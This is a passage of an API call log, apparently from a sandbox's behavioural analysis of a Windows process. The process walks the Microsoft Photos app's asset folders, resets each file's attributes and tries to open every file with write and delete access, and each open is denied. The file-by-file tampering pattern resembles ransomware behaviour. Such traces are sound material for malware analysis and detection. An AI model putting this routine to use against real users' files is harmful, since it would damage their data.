	[0091.032] wcscat (in: _Dest=0x5028008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.032] wcscat (in: _Dest=0x5028008, _Source="PhotosAppList.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16.png"
	[0091.032] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16.png")) returned 0x20
	[0091.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0091.032] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.032] GetLastError () returned 0x5
	[0091.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0091.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0091.032] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84759f38, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84759f38, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84759f38, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-16_altform-colorize.png", cAlternateFileName="")) returned 1
	[0091.032] wcscmp (_String1="PhotosAppList.targetsize-16_altform-colorize.png", _String2=".") returned 1
	[0091.032] wcscmp (_String1="PhotosAppList.targetsize-16_altform-colorize.png", _String2="..") returned 1
	[0091.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x4782c38
	[0091.032] wcscpy (in: _Dest=0x4782c38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.033] wcscat (in: _Dest=0x4782c38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.033] wcscat (in: _Dest=0x4782c38, _Source="PhotosAppList.targetsize-16_altform-colorize.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-colorize.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-colorize.png"
	[0091.033] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-colorize.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-colorize.png")) returned 0x20
	[0091.034] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-colorize.png", dwFileAttributes=0x20) returned 0
	[0091.034] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-colorize.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-colorize.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.034] GetLastError () returned 0x5
	[0091.034] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-colorize.png", dwFileAttributes=0x20) returned 0
	[0091.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782c38) returned 1
	[0091.035] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84759f38, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84759f38, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84759f38, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-16_altform-fullcolor.png", cAlternateFileName="")) returned 1
	[0091.035] wcscmp (_String1="PhotosAppList.targetsize-16_altform-fullcolor.png", _String2=".") returned 1
	[0091.035] wcscmp (_String1="PhotosAppList.targetsize-16_altform-fullcolor.png", _String2="..") returned 1
	[0091.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x120) returned 0x2d86058
	[0091.035] wcscpy (in: _Dest=0x2d86058, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.035] wcscat (in: _Dest=0x2d86058, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.035] wcscat (in: _Dest=0x2d86058, _Source="PhotosAppList.targetsize-16_altform-fullcolor.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-fullcolor.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-fullcolor.png"
	[0091.035] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-fullcolor.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-fullcolor.png")) returned 0x20
	[0091.035] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-fullcolor.png", dwFileAttributes=0x20) returned 0
	[0091.035] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-fullcolor.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-fullcolor.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.035] GetLastError () returned 0x5
	[0091.035] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-fullcolor.png", dwFileAttributes=0x20) returned 0
	[0091.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86058) returned 1
	[0091.035] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847801bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x847801bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x847801bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-16_altform-unplated.png", cAlternateFileName="")) returned 1
	[0091.035] wcscmp (_String1="PhotosAppList.targetsize-16_altform-unplated.png", _String2=".") returned 1
	[0091.035] wcscmp (_String1="PhotosAppList.targetsize-16_altform-unplated.png", _String2="..") returned 1
	[0091.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d86058
	[0091.035] wcscpy (in: _Dest=0x2d86058, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.035] wcscat (in: _Dest=0x2d86058, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.035] wcscat (in: _Dest=0x2d86058, _Source="PhotosAppList.targetsize-16_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated.png"
	[0091.036] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-unplated.png")) returned 0x20
	[0091.036] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0091.036] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.036] GetLastError () returned 0x5
	[0091.036] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0091.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86058) returned 1
	[0091.036] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847801bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x847801bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x847801bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-16_altform-unplated_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.036] wcscmp (_String1="PhotosAppList.targetsize-16_altform-unplated_contrast-white.png", _String2=".") returned 1
	[0091.036] wcscmp (_String1="PhotosAppList.targetsize-16_altform-unplated_contrast-white.png", _String2="..") returned 1
	[0091.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d86058
	[0091.036] wcscpy (in: _Dest=0x2d86058, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.036] wcscat (in: _Dest=0x2d86058, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.036] wcscat (in: _Dest=0x2d86058, _Source="PhotosAppList.targetsize-16_altform-unplated_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png"
	[0091.036] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-unplated_contrast-white.png")) returned 0x20
	[0091.036] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.037] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-16_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.037] GetLastError () returned 0x5
	[0091.037] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-16_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86058) returned 1
	[0091.037] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847801bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x847801bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x847801bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-20.png", cAlternateFileName="")) returned 1
	[0091.037] wcscmp (_String1="PhotosAppList.targetsize-20.png", _String2=".") returned 1
	[0091.037] wcscmp (_String1="PhotosAppList.targetsize-20.png", _String2="..") returned 1
	[0091.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028320
	[0091.037] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.037] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.037] wcscat (in: _Dest=0x5028320, _Source="PhotosAppList.targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20.png"
	[0091.037] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-20.png")) returned 0x20
	[0091.037] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0091.037] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.037] GetLastError () returned 0x5
	[0091.037] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0091.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0091.037] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847801bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x847801bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x847801bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-20_altform-colorize.png", cAlternateFileName="")) returned 1
	[0091.038] wcscmp (_String1="PhotosAppList.targetsize-20_altform-colorize.png", _String2=".") returned 1
	[0091.038] wcscmp (_String1="PhotosAppList.targetsize-20_altform-colorize.png", _String2="..") returned 1
	[0091.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d86058
	[0091.038] wcscpy (in: _Dest=0x2d86058, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.038] wcscat (in: _Dest=0x2d86058, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.038] wcscat (in: _Dest=0x2d86058, _Source="PhotosAppList.targetsize-20_altform-colorize.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-colorize.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-colorize.png"
	[0091.038] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-colorize.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-20_altform-colorize.png")) returned 0x20
	[0091.038] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-colorize.png", dwFileAttributes=0x20) returned 0
	[0091.038] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-colorize.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-20_altform-colorize.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.038] GetLastError () returned 0x5
	[0091.038] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-colorize.png", dwFileAttributes=0x20) returned 0
	[0091.038] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86058) returned 1
	[0091.038] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847801bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x847801bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x847801bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-20_altform-fullcolor.png", cAlternateFileName="")) returned 1
	[0091.038] wcscmp (_String1="PhotosAppList.targetsize-20_altform-fullcolor.png", _String2=".") returned 1
	[0091.038] wcscmp (_String1="PhotosAppList.targetsize-20_altform-fullcolor.png", _String2="..") returned 1
	[0091.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x120) returned 0x2d86058
	[0091.038] wcscpy (in: _Dest=0x2d86058, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.038] wcscat (in: _Dest=0x2d86058, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.038] wcscat (in: _Dest=0x2d86058, _Source="PhotosAppList.targetsize-20_altform-fullcolor.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-fullcolor.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-fullcolor.png"
	[0091.039] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.targetsize-20_altform-fullcolor.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.targetsize-20_altform-fullcolor.png")) 

Thread:
	id = 864
	os_tid = 0xd88

	[0082.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cbbe8
	[0082.073] wcscpy (in: _Dest=0x47cbbe8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe"
	[0082.073] wcscat (in: _Dest=0x47cbbe8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.073] wcscat (in: _Dest=0x47cbbe8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710328
